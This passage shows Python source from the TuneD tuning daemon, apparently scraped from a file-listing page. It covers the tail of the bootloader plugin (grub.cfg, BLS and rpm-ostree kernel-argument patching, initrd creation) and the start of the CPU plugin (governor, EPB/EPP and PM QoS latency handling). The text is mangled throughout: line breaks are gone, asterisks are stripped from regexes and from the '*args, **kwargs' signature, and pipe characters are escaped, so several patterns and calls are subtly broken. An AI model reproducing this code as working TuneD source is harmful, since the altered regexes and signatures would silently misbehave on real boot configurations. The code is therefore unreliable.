log.debug("rpm-ostree kargs: %s" % out) if rc != 0: log.error("Error getting rpm-ostree kargs: %s" % err) return None return out def _modify_rpm_ostree_kargs(self, delete_kargs=[], append_kargs=[]): """ Modify (delete and append) kernel arguments in a rpm-ostree system. Return a boolean indicating whether the operation was successful. """ if not self._wait_till_rpm_ostree_idle(): log.error("Error modifying rpm-ostree kargs: rpm-ostree is busy") return False (rc, _, err) = self._cmd.execute( ["rpm-ostree", "kargs"] + ["--delete=%s" % karg for karg in delete_kargs] + ["--append=%s" % karg for karg in append_kargs], return_err=True) if rc != 0: log.error("Error modifying rpm-ostree kargs: %s" % err) return False return True def _get_effective_options(self, options): """Merge provided options with plugin default options and merge all cmdline. options.""" effective = self._get_config_options().copy() cmdline_keys = [] for key in options: if str(key).startswith("cmdline"): cmdline_keys.append(key) elif key in effective: effective[key] = options[key] else: log.warning("Unknown option '%s' for plugin '%s'." % (key, self.__class__.__name__)) cmdline = "" for key in cmdline_keys: val = options[key] if val is None or val == "": continue op = val[0] op1 = val[1:2] vals = val[1:].strip() if op == "+" or (op == "\\" and op1 in ["\\", "+", "-"]): if vals != "": cmdline += " " + vals elif op == "-": if vals != "": for p in vals.split(): regex = re.escape(p) cmdline = re.sub(r"(\A\|\s)" + regex + r"(?=\Z\|\s)", r"", cmdline) else: cmdline += " " + val cmdline = cmdline.strip() if cmdline != "": effective["cmdline"] = cmdline return effective def _get_grub2_cfg_files(self): cfg_files = [] for f in consts.GRUB2_CFG_FILES: if os.path.exists(f): cfg_files.append(f) return cfg_files def _bls_enabled(self): grub2_default_env = self._cmd.read_file(consts.GRUB2_DEFAULT_ENV_FILE, no_error = True) if len(grub2_default_env) <= 0: log.info("cannot read '%s'" % consts.GRUB2_DEFAULT_ENV_FILE) return False return re.search(r"^\sGRUB_ENABLE_BLSCFG\s=\s\"?\s[tT][rR][uU][eE]\s\"?\s$", grub2_default_env, flags = re.MULTILINE) is not None def _patch_bootcmdline(self, d): return self._cmd.add_modify_option_in_file(consts.BOOT_CMDLINE_FILE, d) def _remove_grub2_tuning(self): self._patch_bootcmdline({consts.BOOT_CMDLINE_TUNED_VAR : "", consts.BOOT_CMDLINE_INITRD_ADD_VAR : ""}) if not self._grub2_cfg_file_names: log.info("cannot find grub.cfg to patch") return for f in self._grub2_cfg_file_names: self._cmd.add_modify_option_in_file(f, {r"set\s+" + consts.GRUB2_TUNED_VAR : "", r"set\s+" + consts.GRUB2_TUNED_INITRD_VAR : ""}, add = False) if self._initrd_dst_img_val is not None: log.info("removing initrd image '%s'" % self._initrd_dst_img_val) self._cmd.unlink(self._initrd_dst_img_val) def _get_appended_rpm_ostree_kargs(self): """Return the list of kernel arguments that were appended by this profile (in a rpm-ostree system).""" f = self._cmd.read_file(consts.BOOT_CMDLINE_FILE) appended = re.search(consts.BOOT_CMDLINE_TUNED_VAR + r"=\"(.)\"", f, flags=re.MULTILINE) return appended[1].split() if appended else [] def _remove_rpm_ostree_tuning(self): """Remove kernel parameter tuning in a rpm-ostree system.""" self._modify_rpm_ostree_kargs(delete_kargs=self._get_appended_rpm_ostree_kargs()) self._patch_bootcmdline({consts.BOOT_CMDLINE_TUNED_VAR: ""}) def _instance_unapply_static(self, instance, rollback = consts.ROLLBACK_SOFT): if rollback == consts.ROLLBACK_FULL and not self._skip_grub_config_val: if self._rpm_ostree: log.info("removing rpm-ostree tuning previously added by Tuned") self._remove_rpm_ostree_tuning() else: log.info("removing grub2 tuning previously added by Tuned") self._remove_grub2_tuning() self._update_grubenv({"tuned_params" : "", "tuned_initrd" : ""}) def _grub2_cfg_unpatch(self, grub2_cfg): log.debug("unpatching grub.cfg") cfg = re.sub(r"^\sset\s+" + consts.GRUB2_TUNED_VAR + "\\s=.\n", "", grub2_cfg, flags = re.MULTILINE) grub2_cfg = re.sub(r" \$" + consts.GRUB2_TUNED_VAR, "", cfg, flags = re.MULTILINE) cfg = re.sub(r"^\sset\s+" + consts.GRUB2_TUNED_INITRD_VAR + "\\s=.\n", "", grub2_cfg, flags = re.MULTILINE) grub2_cfg = re.sub(r" \$" + consts.GRUB2_TUNED_INITRD_VAR, "", cfg, flags = re.MULTILINE) cfg = re.sub(consts.GRUB2_TEMPLATE_HEADER_BEGIN + r"\n", "", grub2_cfg, flags = re.MULTILINE) return re.sub(consts.GRUB2_TEMPLATE_HEADER_END + r"\n+", "", cfg, flags = re.MULTILINE) def _grub2_cfg_patch_initial(self, grub2_cfg, d): log.debug("initial patching of grub.cfg") s = r"\1\n\n" + consts.GRUB2_TEMPLATE_HEADER_BEGIN + "\n" for opt in d: s += r"set " + self._cmd.escape(opt) + "=\"" + self._cmd.escape(d[opt]) + "\"\n" s += consts.GRUB2_TEMPLATE_HEADER_END + r"\n" grub2_cfg = re.sub(r"^(\s###\s+END\s+[^#]+/00_header\s+### )\n", s, grub2_cfg, flags = re.MULTILINE) d2 = {"linux" : consts.GRUB2_TUNED_VAR, "initrd" : consts.GRUB2_TUNED_INITRD_VAR} for i in d2: # add TuneD parameters to all kernels grub2_cfg = re.sub(r"^(\s" + i + r"(16\|efi)?\s+.)$", r"\1 $" + d2[i], grub2_cfg, flags = re.MULTILINE) # remove TuneD parameters from rescue kernels grub2_cfg = re.sub(r"^(\s" + i + r"(?:16\|efi)?\s+\S+rescue.)\$" + d2[i] + r" (.)$", r"\1\2", grub2_cfg, flags = re.MULTILINE) # fix whitespaces in rescue kernels grub2_cfg = re.sub(r"^(\s" + i + r"(?:16\|efi)?\s+\S+rescue.) +$", r"\1", grub2_cfg, flags = re.MULTILINE) return grub2_cfg def _grub2_default_env_patch(self): grub2_default_env = self._cmd.read_file(consts.GRUB2_DEFAULT_ENV_FILE) if len(grub2_default_env) <= 0: log.info("cannot read '%s'" % consts.GRUB2_DEFAULT_ENV_FILE) return False d = {"GRUB_CMDLINE_LINUX_DEFAULT" : consts.GRUB2_TUNED_VAR, "GRUB_INITRD_OVERLAY" : consts.GRUB2_TUNED_INITRD_VAR} write = False for i in d: if re.search(r"^[^#]\b" + i + r"\s=.\\\$" + d[i] + r"\b.$", grub2_default_env, flags = re.MULTILINE) is None: write = True if grub2_default_env[-1] != "\n": grub2_default_env += "\n" grub2_default_env += i + "=\"${" + i + ":+$" + i + r" }\$" + d[i] + "\"\n" if write: log.debug("patching '%s'" % consts.GRUB2_DEFAULT_ENV_FILE) self._cmd.write_to_file(consts.GRUB2_DEFAULT_ENV_FILE, grub2_default_env) return True def _grub2_default_env_unpatch(self): grub2_default_env = self._cmd.read_file(consts.GRUB2_DEFAULT_ENV_FILE) if len(grub2_default_env) <= 0: log.info("cannot read '%s'" % consts.GRUB2_DEFAULT_ENV_FILE) return False write = False if re.search(r"^GRUB_CMDLINE_LINUX_DEFAULT=\"\$\{GRUB_CMDLINE_LINUX_DEFAULT:\+\$GRUB_CMDLINE_LINUX_DEFAULT \}\\\$" + consts.GRUB2_TUNED_VAR + "\"$", grub2_default_env, flags = re.MULTILINE): write = True cfg = re.sub(r"^GRUB_CMDLINE_LINUX_DEFAULT=\"\$\{GRUB_CMDLINE_LINUX_DEFAULT:\+\$GRUB_CMDLINE_LINUX_DEFAULT \}\\\$" + consts.GRUB2_TUNED_VAR + "\"$\n", "", grub2_default_env, flags = re.MULTILINE) if cfg[-1] != "\n": cfg += "\n" if write: log.debug("unpatching '%s'" % consts.GRUB2_DEFAULT_ENV_FILE) self._cmd.write_to_file(consts.GRUB2_DEFAULT_ENV_FILE, cfg) return True def _grub2_cfg_patch(self, d): log.debug("patching grub.cfg") if not self._grub2_cfg_file_names: log.info("cannot find grub.cfg to patch") return False for f in self._grub2_cfg_file_names: grub2_cfg = self._cmd.read_file(f) if len(grub2_cfg) <= 0: log.info("cannot patch %s" % f) continue log.debug("adding boot command line parameters to '%s'" % f) grub2_cfg_new = grub2_cfg patch_initial = False for opt in d: (grub2_cfg_new, nsubs) = re.subn(r"\b(set\s+" + opt + r"\s=).$", r"\1" + "\"" + self._cmd.escape(d[opt]) + "\"", grub2_cfg_new, flags = re.MULTILINE) if nsubs < 1 or re.search(r"\$" + opt, grub2_cfg, flags = re.MULTILINE) is None: patch_initial = True # workaround for rhbz#1442117 if len(re.findall(r"\$" + consts.GRUB2_TUNED_VAR, grub2_cfg, flags = re.MULTILINE)) != \ len(re.findall(r"\$" + consts.GRUB2_TUNED_INITRD_VAR, grub2_cfg, flags = re.MULTILINE)): patch_initial = True if patch_initial: grub2_cfg_new = self._grub2_cfg_patch_initial(self._grub2_cfg_unpatch(grub2_cfg), d) self._cmd.write_to_file(f, grub2_cfg_new) if self._bls: self._grub2_default_env_unpatch() else: self._grub2_default_env_patch() return True def _rpm_ostree_update(self): """Apply kernel parameter tuning in a rpm-ostree system.""" appended_kargs = self._get_appended_rpm_ostree_kargs() profile_kargs = self._cmdline_val.split() active_kargs = self._get_rpm_ostree_kargs() if active_kargs is None: log.error("Not updating kernel arguments, could not read the current ones.") return # Ignore kargs previously appended by TuneD, these will be removed later. non_tuned_kargs = active_kargs.split() for karg in appended_kargs: non_tuned_kargs.remove(karg) # Only append key=value pairs that do not yet appear in kernel parameters, # otherwise we would not be able to restore the cmdline to the previous state # via rpm-ostree kargs --delete. kargs_to_append = [karg for karg in profile_kargs if karg not in non_tuned_kargs] if appended_kargs == kargs_to_append: # The correct kargs are already set in /etc/tuned/bootcmldine, # we are likely post-reboot and done. log.info("Kernel arguments already set, not updating.") return # If there are kargs in /etc/bootcmdline and they do not match # the requested ones, there was no rollback, so remove them now. if self._modify_rpm_ostree_kargs(delete_kargs=appended_kargs, append_kargs=kargs_to_append): self._patch_bootcmdline({consts.BOOT_CMDLINE_TUNED_VAR : " ".join(kargs_to_append)}) def _grub2_update(self): self._grub2_cfg_patch({consts.GRUB2_TUNED_VAR : self._cmdline_val, consts.GRUB2_TUNED_INITRD_VAR : self._initrd_val}) self._patch_bootcmdline({consts.BOOT_CMDLINE_TUNED_VAR : self._cmdline_val, consts.BOOT_CMDLINE_INITRD_ADD_VAR : self._initrd_val}) def _has_bls(self): return os.path.exists(consts.BLS_ENTRIES_PATH) def _update_grubenv(self, d): log.debug("updating grubenv, setting %s" % str(d)) l = ["%s=%s" % (str(option), str(value)) for option, value in d.items()] (rc, out) = self._cmd.execute(["grub2-editenv", "-", "set"] + l) if rc != 0: log.warning("cannot update grubenv: '%s'" % out) return False return True def _bls_entries_patch_initial(self): machine_id = self._cmd.get_machine_id() if machine_id == "": return False log.debug("running kernel update hook '%s' to patch BLS entries" % consts.KERNEL_UPDATE_HOOK_FILE) (rc, out) = self._cmd.execute([consts.KERNEL_UPDATE_HOOK_FILE, "add"], env = {"KERNEL_INSTALL_MACHINE_ID" : machine_id}) if rc != 0: log.warning("cannot patch BLS entries: '%s'" % out) return False return True def _bls_update(self): log.debug("updating BLS") if self._has_bls() and \ self._update_grubenv({"tuned_params" : self._cmdline_val, "tuned_initrd" : self._initrd_val}) and \ self._bls_entries_patch_initial(): return True return False def _init_initrd_dst_img(self, name): if self._initrd_dst_img_val is None: self._initrd_dst_img_val = os.path.join(consts.BOOT_DIR, os.path.basename(name)) def _check_petitboot(self): return os.path.isdir(consts.PETITBOOT_DETECT_DIR) def _install_initrd(self, img): if self._rpm_ostree: log.warning("Detected rpm-ostree which doesn't support initrd overlays.") return False if self._check_petitboot(): log.warning("Detected Petitboot which doesn't support initrd overlays. The initrd overlay will be ignored by bootloader.") log.info("installing initrd image as '%s'" % self._initrd_dst_img_val) img_name = os.path.basename(self._initrd_dst_img_val) if not self._cmd.copy(img, self._initrd_dst_img_val): return False self.update_grub2_cfg = True curr_cmdline = self._cmd.read_file("/proc/cmdline").rstrip() initrd_grubpath = "/" lc = len(curr_cmdline) if lc: path = re.sub(r"^\sBOOT_IMAGE=\s(?:$[^)]$)?(\S/).$", "\\1", curr_cmdline) if len(path) < lc: initrd_grubpath = path self._initrd_val = os.path.join(initrd_grubpath, img_name) return True @command_custom("grub2_cfg_file") def _grub2_cfg_file(self, enabling, value, verify, ignore_missing, instance): # nothing to verify if verify: return None if enabling and value is not None: self._grub2_cfg_file_names = [str(value)] @command_custom("initrd_dst_img") def _initrd_dst_img(self, enabling, value, verify, ignore_missing, instance): # nothing to verify if verify: return None if enabling and value is not None: self._initrd_dst_img_val = str(value) if self._initrd_dst_img_val == "": return False if self._initrd_dst_img_val[0] == "/": return False self._initrd_dst_img_val = os.path.join(consts.BOOT_DIR, self._initrd_dst_img_val) return True return None @command_custom("initrd_remove_dir") def _initrd_remove_dir(self, enabling, value, verify, ignore_missing, instance): # nothing to verify if verify: return None if enabling and value is not None: self._initrd_remove_dir = self._cmd.get_bool(value) == "1" return True return None @command_custom("initrd_add_img", per_device = False, priority = 10) def _initrd_add_img(self, enabling, value, verify, ignore_missing, instance): # nothing to verify if verify: return None if enabling and value is not None: src_img = str(value) self._init_initrd_dst_img(src_img) if src_img == "": return False if not self._install_initrd(src_img): return False return True return None @command_custom("initrd_add_dir", per_device = False, priority = 10) def _initrd_add_dir(self, enabling, value, verify, ignore_missing, instance): # nothing to verify if verify: return None if enabling and value is not None: src_dir = str(value) self._init_initrd_dst_img(src_dir) if src_dir == "": return False if not os.path.isdir(src_dir): log.error("error: cannot create initrd image, source directory '%s' doesn't exist" % src_dir) return False log.info("generating initrd image from directory '%s'" % src_dir) (fd, tmpfile) = tempfile.mkstemp(prefix = "tuned-bootloader-", suffix = ".tmp") log.debug("writing initrd image to temporary file '%s'" % tmpfile) os.close(fd) (rc, out) = self._cmd.execute("find . \| cpio -co > %s" % tmpfile, cwd = src_dir, shell = True) log.debug("cpio log: %s" % out) if rc != 0: log.error("error generating initrd image") self._cmd.unlink(tmpfile, no_error = True) return False self._install_initrd(tmpfile) self._cmd.unlink(tmpfile) if self._initrd_remove_dir: log.info("removing directory '%s'" % src_dir) self._cmd.rmtree(src_dir) return True return None @command_custom("cmdline", per_device = False, priority = 10) def _cmdline(self, enabling, value, verify, ignore_missing, instance): v = self._variables.expand(self._cmd.unquote(value)) if verify: if self._rpm_ostree: cmdline = self._get_rpm_ostree_kargs() else: cmdline = self._cmd.read_file("/proc/cmdline") if cmdline is None or len(cmdline) == 0: return None cmdline_set = set(cmdline.split()) value_set = set(v.split()) missing_set = value_set - cmdline_set if len(missing_set) == 0: log.info(consts.STR_VERIFY_PROFILE_VALUE_OK % ("cmdline", str(value_set))) return True else: cmdline_dict = {v.split("=", 1)[0]: v for v in cmdline_set} for m in missing_set: arg = m.split("=", 1)[0] if not arg in cmdline_dict: log.error(consts.STR_VERIFY_PROFILE_CMDLINE_FAIL_MISSING % (arg, m)) else: log.error(consts.STR_VERIFY_PROFILE_CMDLINE_FAIL % (cmdline_dict[arg], m)) present_set = value_set & cmdline_set log.info("expected arguments that are present in cmdline: %s"%(" ".join(present_set),)) return False if enabling and value is not None: log.info("installing additional boot command line parameters to grub2") self.update_grub2_cfg = True self._cmdline_val = v return True return None @command_custom("skip_grub_config", per_device = False, priority = 10) def _skip_grub_config(self, enabling, value, verify, ignore_missing, instance): if verify: return None if enabling and value is not None: if self._cmd.get_bool(value) == "1": log.info("skipping any modification of grub config") self._skip_grub_config_val = True return True return None def _instance_post_static(self, instance, enabling): if enabling and self._skip_grub_config_val: if len(self._initrd_val) > 0: log.warning("requested changes to initrd will not be applied!") if len(self._cmdline_val) > 0: log.warning("requested changes to cmdline will not be applied!") # ensure that the desired cmdline is always written to BOOT_CMDLINE_FILE (/etc/tuned/bootcmdline) self._patch_bootcmdline({consts.BOOT_CMDLINE_TUNED_VAR : self._cmdline_val, consts.BOOT_CMDLINE_INITRD_ADD_VAR : self._initrd_val}) elif enabling and self.update_grub2_cfg: if self._rpm_ostree: self._rpm_ostree_update() else: self._grub2_update() self._bls_update() self.update_grub2_cfg = False	24.86 KB	2025-08-24 21:48
📄 plugin_cpu.py from . import hotplug from .decorators import * import tuned.logs from tuned.utils.commands import commands import tuned.consts as consts import os import errno import struct import errno import platform import procfs log = tuned.logs.get() cpuidle_states_path = "/sys/devices/system/cpu/cpu0/cpuidle" class CPULatencyPlugin(hotplug.Plugin): """ Sets the CPU governor to the value specified by the [option]`governor` option and dynamically changes the Power Management Quality of Service (PM QoS) CPU Direct Memory Access (DMA) latency according to the CPU load. `governor`::: The [option]`governor` option of the 'cpu' plug-in supports specifying CPU governors. Multiple governors are separated using '\|'. The '\|' character is meant to represent a logical 'or' operator. Note that the same syntax is used for the [option]`energy_perf_bias` option. TuneD will set the first governor that is available on the system. + .Specifying a CPU governor ==== ---- [cpu] governor=ondemand\|powersave ---- TuneD will set the 'ondemand' governor, if it is available. If it is not available, but the 'powersave' governor is available, 'powersave' will be set. If neither of them are available, the governor will not be changed. ==== `sampling_down_factor`::: The sampling rate determines how frequently the governor checks to tune the CPU. The [option]`sampling_down_factor` is a tunable that multiplies the sampling rate when the CPU is at its highest clock frequency thereby delaying load evaluation and improving performance. Allowed values for sampling_down_factor are 1 to 100000. + .The recommended setting for jitter reduction ==== ---- [cpu] sampling_down_factor = 100 ---- ==== `energy_perf_bias`::: [option]`energy_perf_bias` supports managing energy vs. performance policy via x86 Model Specific Registers using the `x86_energy_perf_policy` tool. Multiple alternative Energy Performance Bias (EPB) values are supported. The alternative values are separated using the '\|' character. The following EPB values are supported starting with kernel 4.13: "performance", "balance-performance", "normal", "balance-power" and "power". On newer processors is value writen straight to file (see rhbz#2095829) + .Specifying alternative Energy Performance Bias values ==== ---- [cpu] energy_perf_bias=powersave\|power ---- TuneD will try to set EPB to 'powersave'. If that fails, it will try to set it to 'power'. ==== `energy_performance_preference`::: [option]`energy_performance_preference` supports managing energy vs. performance hints on newer Intel and AMD processors with active P-State CPU scaling drivers (intel_pstate or amd-pstate). Multiple alternative Energy Performance Preferences (EPP) values are supported. The alternative values are separated using the '\|' character. Available values can be found in `energy_performance_available_preferences` file in `CPUFreq` policy directory in `sysfs`. in + .Specifying alternative Energy Performance Hints values ==== ---- [cpu] energy_performance_preference=balance_power\|power ---- TuneD will try to set EPP to 'balance_power'. If that fails, it will try to set it to 'power'. ==== `latency_low, latency_high, load_threshold`::: + If the CPU load is lower than the value specified by the [option]`load_threshold` option, the latency is set to the value specified either by the [option]`latency_high` option or by the [option]`latency_low` option. `force_latency`::: You can also force the latency to a specific value and prevent it from dynamically changing further. To do so, set the [option]`force_latency` option to the required latency value. + The maximum latency value can be specified in several ways: + -- * by a numerical value in microseconds (for example, `force_latency=10`) * as the kernel CPU idle level ID of the maximum C-state allowed (for example, force_latency = cstate.id:1) * as a case sensitive name of the maximum C-state allowed (for example, force_latency = cstate.name:C1) * by using 'None' as a fallback value to prevent errors when alternative C-state IDs/names do not exist. When 'None' is used in the alternatives pipeline, all the alternatives that follow 'None' are ignored. -- + It is also possible to specify multiple fallback values separated by '\|' as the C-state names and/or IDs may not be available on some systems. + .Specifying fallback C-state values ==== ---- [cpu] force_latency=cstate.name:C6\|cstate.id:4\|10 ---- This configuration tries to obtain and set the latency of C-state named C6. If the C-state C6 does not exist, kernel CPU idle level ID 4 (state4) latency is searched for in sysfs. Finally, if the state4 directory in sysfs is not found, the last latency fallback value is `10` us. The value is encoded and written into the kernel's PM QoS file `/dev/cpu_dma_latency`. ==== + .Specifying fallback C-state values using 'None'. ==== ---- [cpu] force_latency=cstate.name:XYZ\|None ---- In this case, if C-state with the name `XYZ` does not exist, no latency value will be written into the kernel's PM QoS file, and no errors will be reported due to the presence of 'None'. ==== `min_perf_pct, max_perf_pct, no_turbo`::: These options set the internals of the Intel P-State driver exposed via the kernel's `sysfs` interface. + .Adjusting the configuration of the Intel P-State driver ==== ---- [cpu] min_perf_pct=100 ---- Limit the minimum P-State that will be requested by the driver. It states it as a percentage of the max (non-turbo) performance level. ==== `pm_qos_resume_latency_us`::: This option allow to set specific latency for all cpus or specific ones. + .Configuring resume latency ==== ---- [cpu] pm_qos_resume_latency_us=n/a ---- Special value that disables C-states completely. ---- [cpu] pm_qos_resume_latency_us=0 ---- Allows all C-states. ---- [cpu] pm_qos_resume_latency_us=100 ---- Allows any C-state with a resume latency less than 100. ==== `boost`::: The [option]`boost` option allows the CPU to boost above nominal frequencies for shorts periods of time. On Intel systems with the intel_pstate driver, setting boost=0 will automatically set no_turbo=1 to ensure boost is properly disabled. + .Allowing CPU boost ==== ---- [cpu] boost=1 ---- ==== """ def __init__(self, args, kwargs): super(CPULatencyPlugin, self).__init__(args, *kwargs) self._has_pm_qos = True self._arch = "x86_64" self._is_x86 = False self._is_intel = False self._is_amd = False self._has_hwp_epp = False self._has_energy_perf_policy_and_bias = False self._has_intel_pstate = False self._has_amd_pstate = False self._has_pm_qos_resume_latency_us = None self._min_perf_pct_save = None self._max_perf_pct_save = None self._no_turbo_save = None self._governors_map = {} self._cmd = commands() self._flags = None def _init_devices(self): self._devices_supported = True self._free_devices = set() # current list of devices for device in self._hardware_inventory.get_devices("cpu"): self._free_devices.add(device.sys_name) self._assigned_devices = set() def _get_device_objects(self, devices): return [self._hardware_inventory.get_device("cpu", x) for x in devices] @classmethod def _get_config_options(self): return { "load_threshold" : 0.2, "latency_low" : 100, "latency_high" : 1000, "force_latency" : None, "governor" : None, "sampling_down_factor" : None, "energy_perf_bias" : None, "min_perf_pct" : None, "max_perf_pct" : None, "no_turbo" : None, "pm_qos_resume_latency_us": None, "energy_performance_preference" : None, "boost": None, } def _check_arch(self): intel_archs = [ "x86_64", "i686", "i585", "i486", "i386" ] self._arch = platform.machine() if self._arch in intel_archs: # Possible other x86 vendors (from arch/x86/kernel/cpu/): # "CentaurHauls", "CyrixInstead", "Geode by NSC", "HygonGenuine", "GenuineTMx86", # "TransmetaCPU", "UMC UMC UMC" cpu = procfs.cpuinfo() vendor = cpu.tags.get("vendor_id") if vendor == "GenuineIntel": self._is_intel = True elif vendor == "AuthenticAMD" or vendor == "HygonGenuine": self._is_amd = True else: # We always assign Intel, unless we know better self._is_intel = True log.info("We are running on an x86 %s platform" % vendor) else: log.info("We are running on %s (non x86)" % self._arch) self._has_hwp_epp = consts.CFG_CPU_EPP_FLAG in self._get_cpuinfo_flags() if self._is_intel: # When hwp_epp is not supported, we check for EPB via x86_energy_perf_policy. # When it is supported, EPB should be accessible via sysfs. if not self._has_hwp_epp: self._check_energy_perf_policy_and_bias() # Check for intel_pstate self._check_intel_pstate() if self._is_amd: # Check for amd-pstate self._check_amd_pstate() def _check_energy_perf_policy_and_bias(self): """Check for EPB via x86_energy_perf_policy, warn if the tool is not available or EPB unsupported.""" retcode_unsupported = 1 retcode, out = self._cmd.execute(["x86_energy_perf_policy", "-r"], no_errors = [errno.ENOENT, retcode_unsupported]) # With recent versions of the tool, a zero exit code is # returned even if EPB is not supported. The output is empty # in that case, however. if retcode == 0 and out != "": self._has_energy_perf_policy_and_bias = True elif retcode < 0: log.warning("unable to run x86_energy_perf_policy tool, ignoring CPU energy performance bias, is the tool installed?") else: log.warning("your CPU doesn't support MSR_IA32_ENERGY_PERF_BIAS, ignoring CPU energy performance bias") def _check_intel_pstate(self): self._has_intel_pstate = os.path.exists("/sys/devices/system/cpu/intel_pstate") if self._has_intel_pstate: log.info("intel_pstate detected") def _check_amd_pstate(self): self._has_amd_pstate = os.path.exists("/sys/devices/system/cpu/amd_pstate") if self._has_amd_pstate: log.info("amd-pstate detected") def _get_cpuinfo_flags(self): if self._flags is None: self._flags = procfs.cpuinfo().tags.get("flags", []) return self._flags def _is_cpu_online(self, device): sd = str(device) return self._cmd.is_cpu_online(str(device).replace("cpu", "")) def _cpu_has_scaling_governor(self, device): return os.path.exists("/sys/devices/system/cpu/%s/cpufreq/scaling_governor" % device) def _check_cpu_can_change_governor(self, device): if not self._is_cpu_online(device): log.debug("'%s' is not online, skipping" % device) return False if not self._cpu_has_scaling_governor(device): log.debug("there is no scaling governor fo '%s', skipping" % device) return False return True def _instance_init(self, instance): instance._has_static_tuning = True instance._has_dynamic_tuning = False instance._load_monitor = None # only the first instance of the plugin can control the latency if list(self._instances.values())[0] == instance: instance._first_instance = True try: self._cpu_latency_fd = os.open(consts.PATH_CPU_DMA_LATENCY, os.O_WRONLY) except OSError: log.info("Unable to open '%s', disabling PM_QoS control" % consts.PATH_CPU_DMA_LATENCY) self._has_pm_qos = False self._latency = None if instance.options["force_latency"] is None and instance.options["pm_qos_resume_latency_us"] is None: instance._has_dynamic_tuning = True self._check_arch() else: instance._first_instance = False log.info("Latency settings from non-first CPU plugin instance '%s' will be ignored." % instance.name) try: instance._first_device = list(instance.assigned_devices)[0] except IndexError: instance._first_device = None def _instance_cleanup(self, instance): if instance._first_instance: if self._has_pm_qos: os.close(self._cpu_latency_fd) if instance._load_monitor is not None: self._monitors_repository.delete(instance._load_monitor) def _instance_init_dynamic(self, instance): super(CPULatencyPlugin, self)._instance_init_dynamic(instance) if instance._first_instance: instance._load_monitor = self._monitors_repository.create("load", None) def _get_intel_pstate_attr(self, attr): return self._cmd.read_file("/sys/devices/system/cpu/intel_pstate/%s" % attr, None).strip() def _set_intel_pstate_attr(self, attr, val): if val is not None: self._cmd.write_to_file("/sys/devices/system/cpu/intel_pstate/%s" % attr, val, ignore_same=True) def _getset_intel_pstate_attr(self, attr, value): if value is None: return None v = self._get_intel_pstate_attr(attr) self._set_intel_pstate_attr(attr, value) return v def _instance_apply_static(self, instance): super(CPULatencyPlugin, self)._instance_apply_static(instance) if not instance._first_instance: return force_latency_value = self._variables.expand( instance.options["force_latency"]) if force_latency_value is not None: self._set_latency(force_latency_value) if self._has_intel_pstate: new_value = self._variables.expand( instance.options["min_perf_pct"]) self._min_perf_pct_save = self._getset_intel_pstate_attr( "min_perf_pct", new_value) new_value = self._variables.expand( instance.options["max_perf_pct"]) self._max_perf_pct_save = self._getset_intel_pstate_attr( "max_perf_pct", new_value) new_value = self._cmd.get_bool(self._variables.expand( instance.options["no_turbo"])) self._no_turbo_save = self._getset_intel_pstate_attr( "no_turbo", new_value) def _instance_unapply_static(self, instance, rollback = consts.ROLLBACK_SOFT): super(CPULatencyPlugin, self)._instance_unapply_static(instance, rollback) if instance._first_instance and self._has_intel_pstate: self._set_intel_pstate_attr("min_perf_pct", self._min_perf_pct_save) self._set_intel_pstate_attr("max_perf_pct", self._max_perf_pct_save) self._set_intel_pstate_attr("no_turbo", self._no_turbo_save) def _instance_apply_dynamic(self, instance, device): self._instance_update_dynamic(instance, device) def _instance_update_dynamic(self, instance, device): assert(instance._first_instance) if device != instance._first_device: return load = instance._load_monitor.get_load()["system"] if load < instance.options["load_threshold"]: self._set_latency(instance.options["latency_high"]) else: self._set_latency(instance.options["latency_low"]) def _instance_unapply_dynamic(self, instance, device): pass def _str2int(self, s): try: return int(s) except (ValueError, TypeError): return None def _read_cstates_latency(self): self.cstates_latency = {} for d in os.listdir(cpuidle_states_path): cstate_path = cpuidle_states_path + "/%s/" % d name = self._cmd.read_file(cstate_path + "name", err_ret = None, no_error = True) latency = self._cmd.read_file(cstate_path + "latency", err_ret = None, no_error = True) if name is not None and latency is not None: latency = self._str2int(latency) if latency is not None: self.cstates_latency[name.strip()] = latency def _get_latency_by_cstate_name(self, name, no_zero=False): log.debug("getting latency for cstate with name '%s'" % name) if self.cstates_latency is None: log.debug("reading cstates latency table") self._read_cstates_latency() latency = self.cstates_latency.get(name, None) if no_zero and latency == 0: log.debug("skipping latency 0 as set by param") return None log.debug("cstate name mapped to latency: %s" % str(latency)) return latency def _get_latency_by_cstate_id(self, lid, no_zero=False): log.debug("getting latency for cstate with ID '%s'" % str(lid)) lid = self._str2int(lid) if lid is None: log.debug("cstate ID is invalid") return None latency_path = cpuidle_states_path + "/%s/latency" % ("state%d" % lid) latency = self._str2int(self._cmd.read_file(latency_path, err_ret = None, no_error = True)) if no_zero and latency == 0: log.debug("skipping latency 0 as set by param") return None log.debug("cstate ID mapped to latency: %s" % str(latency)) return latency # returns (latency, skip), skip means we want to skip latency settings def _parse_latency(self, latency, allow_na=False): self.cstates_latency = None latencies = str(latency).split("\|") log.debug("parsing latency '%s', allow_na '%s'" % (latency, allow_na)) for latency in latencies: try: latency = int(latency) log.debug("parsed directly specified latency value: %d" % latency) except ValueError: if latency[0:18] == "cstate.id_no_zero:": latency = self._get_latency_by_cstate_id(latency[18:], no_zero=True) elif latency[0:10] == "cstate.id:": latency = self._get_latency_by_cstate_id(latency[10:]) elif latency[0:20] == "cstate.name_no_zero:": latency = self._get_latency_by_cstate_name(latency[20:], no_zero=True) elif latency[0:12] == "cstate.name:": latency = self._get_latency_by_cstate_name(latency[12:]) elif latency in ["none", "None"]: log.debug("latency 'none' specified") return None, True elif allow_na and latency == "n/a": log.debug("latency 'n/a' specified") pass else: log.debug("invalid latency specified: '%s'" % str(latency)) latency = None if latency is not None: break return latency, False def _set_latency(self, latency): latency, skip = self._parse_latency(latency) if not skip and self._has_pm_qos: if latency is None: log.error("unable to evaluate latency value (probably wrong settings in the 'cpu' section of current profile), disabling PM QoS") self._has_pm_qos = False elif self._latency != latency: log.info("setting new cpu latency %d" % latency) latency_bin = struct.pack("i", latency) os.write(self._cpu_latency_fd, latency_bin) self._latency = latency def _get_available_governors(self, device): return self._cmd.read_file("/sys/devices/system/cpu/%s/cpufreq/scaling_available_governors" % device).strip().split() @command_set("governor", per_device=True) def _set_governor(self, governors, device, instance, sim, remove): if not self._check_cpu_can_change_governor(device): return None governors = str(governors) governors = governors.split("\|") governors = [governor.strip() for governor in governors] for governor in governors: if len(governor) == 0: log.error("The 'governor' option contains an empty value.") return None available_governors = self._get_available_governors(device) for governor in governors: if governor in available_governors: if not sim: log.info("setting governor '%s' on cpu '%s'" % (governor, device)) self._cmd.write_to_file("/sys/devices/system/cpu/%s/cpufreq/scaling_governor" % device, governor, no_error = [errno.ENOENT] if remove else False, ignore_same=True) break elif not sim: log.debug("Ignoring governor '%s' on 